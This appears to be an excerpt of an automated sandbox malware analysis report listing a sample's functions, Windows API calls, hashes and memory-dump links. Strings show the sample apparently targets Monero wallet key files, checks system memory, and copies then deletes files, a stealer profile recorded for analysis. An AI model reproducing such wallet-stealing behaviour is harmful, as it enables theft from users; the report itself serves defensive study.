Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 41b2beb35cabb5d6c0cc1ab24c029152a0b1f588cc577e78d4f24d88ba17de12
Instruction ID: 553902d3fa8e332f4e4531e5d319c14ab9e60a8c69409c757e4ea077d4739f7b
Opcode Fuzzy Hash: 41b2beb35cabb5d6c0cc1ab24c029152a0b1f588cc577e78d4f24d88ba17de12
Instruction Fuzzy Hash: 7F3154B2D402089BCB54F7B0DC89EED737CAB58700F448589B71996082EF78A789CB95

Function 00061220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0006123E
__aulldiv.LIBCMT ref: 00061258
__aulldiv.LIBCMT ref: 00061266
ExitProcess.KERNEL32 ref: 00061294

Strings

@, xrefs: 00061233

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 0687f15c363ba8fe01a0990b6eab18dff6dc14db3c7caef445393f1304ef5e58
Instruction ID: 06c347fc15e8db99c362788fe83714a84da9cb3c96f92f400e93ed36e50adb07
Opcode Fuzzy Hash: 0687f15c363ba8fe01a0990b6eab18dff6dc14db3c7caef445393f1304ef5e58
Instruction Fuzzy Hash: 8D016DB0D40309BBEB50DBE0DC4ABEEBBB8BF04701F248459E705B62C1DB7855458799

Function 000740B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,00D7D538,00000000,00020119,?), ref: 000740F4
RegQueryValueExA.ADVAPI32(?,00D7DBD8,00000000,00000000,00000000,000000FF), ref: 00074118
RegCloseKey.ADVAPI32(?), ref: 00074122
lstrcat.KERNEL32(?,00000000), ref: 00074147
lstrcat.KERNEL32(?,00D7DB00), ref: 0007415B

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: a93ef7084f0e433ea96b940203b046bbe9c8a52da8b24e69d7806f95747a9676
Instruction ID: eb8349f6f70dc3ba4ded67d34d994b4a9fd3bbcb22634e273593dbc555acc26b
Opcode Fuzzy Hash: a93ef7084f0e433ea96b940203b046bbe9c8a52da8b24e69d7806f95747a9676
Instruction Fuzzy Hash: 89417E76D00108ABDB14EBB0EC4AFFD737DAB89300F448559B71A56181EF755B88CB92

Function 6C66C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 00077E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00077E37
RtlAllocateHeap.NTDLL(00000000), ref: 00077E3E
RegOpenKeyExA.KERNEL32(80000002,00D6BD20,00000000,00020119,?), ref: 00077E5E
RegQueryValueExA.KERNEL32(?,00D7D658,00000000,00000000,000000FF,000000FF), ref: 00077E7F
RegCloseKey.ADVAPI32(?), ref: 00077E92

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: f3cb6c9f588949ac808f2da2ba11b46801704116a54662424478e852724c344b
Instruction ID: 6e18ecc318d316218b3b3b9daa9712ed0b43a91361349da64c53bc62d0041021
Opcode Fuzzy Hash: f3cb6c9f588949ac808f2da2ba11b46801704116a54662424478e852724c344b
Instruction Fuzzy Hash: C5113AB1A44205EBD714CB94ED49FBFBBB8EB09B10F108159F619A7290DB785800CBA2

Function 000612A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 000612B4
RtlAllocateHeap.NTDLL(00000000), ref: 000612BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 000612D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 000612F5
RegCloseKey.ADVAPI32(?), ref: 000612FF

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 1b4dd1396bf0d538bca0ba5a68c2645b8b9f4b3bd9a7f056d51f9552d34a4e86
Instruction ID: 3e1d5d6b995954f910eab0dcbc4d8269cfdeb0b9a54c44403df5a9bfd415fa81
Opcode Fuzzy Hash: 1b4dd1396bf0d538bca0ba5a68c2645b8b9f4b3bd9a7f056d51f9552d34a4e86
Instruction Fuzzy Hash: BA011DB9A40208BFDB00DFE0EC49FAEB7B8EF48701F008159FA0597280DB749A01CB51

Function 0006A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00D78980,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0006A0BD
LoadLibraryA.KERNEL32(00D7D758), ref: 0006A146

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A820: lstrlen.KERNEL32(00064F05,?,?,00064F05,00080DDE), ref: 0007A82B
Part of subcall function 0007A820: lstrcpy.KERNEL32(00080DDE,00000000), ref: 0007A885

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

SetEnvironmentVariableA.KERNEL32(00D78980,00000000,00000000,?,000812D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00080AFE), ref: 0006A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0006A0B2, 0006A0C6, 0006A0DC

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: e5de827d2fc0734ceac45505447d8e592779a1c1ad2986ad75cad6c7d74d806a
Instruction ID: 62c6b11a230ec7e054278475e8d6cc5df897bc6449e55efebce769f4aa236684
Opcode Fuzzy Hash: e5de827d2fc0734ceac45505447d8e592779a1c1ad2986ad75cad6c7d74d806a
Instruction Fuzzy Hash: C5410CB1A11104AFCF45EFA4FC59AAE73B9BF4B701F184118E509A22A2DF345984CF63

Function 0006A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

Part of subcall function 00078B60: GetSystemTime.KERNEL32(00080E1A,00D79A38,000805AE,?,?,000613F9,?,0000001A,00080E1A,00000000,?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 00078B86

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0006A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0006A3FF
lstrlen.KERNEL32(00000000), ref: 0006A6BC

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

DeleteFileA.KERNEL32(00000000), ref: 0006A743

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: d6c1cbc48ff22542119c23526bcd0ba18a38a04adc993d82b595603cd8926df3
Instruction ID: 6137c2ee572ff298ecbaa37b8c339288b5e8ff6d23856eb7d5ad6fbeebaf1cd8
Opcode Fuzzy Hash: d6c1cbc48ff22542119c23526bcd0ba18a38a04adc993d82b595603cd8926df3
Instruction Fuzzy Hash: B5E1FF72E101089BCB45FBA4DC96EEE7338AF95300F50C159F51A76092EF386A4DCB66

Function 0006D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

Part of subcall function 00078B60: GetSystemTime.KERNEL32(00080E1A,00D79A38,000805AE,?,?,000613F9,?,0000001A,00080E1A,00000000,?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 00078B86

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0006D801
lstrlen.KERNEL32(00000000), ref: 0006D99F
lstrlen.KERNEL32(00000000), ref: 0006D9B3
DeleteFileA.KERNEL32(00000000), ref: 0006DA32

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
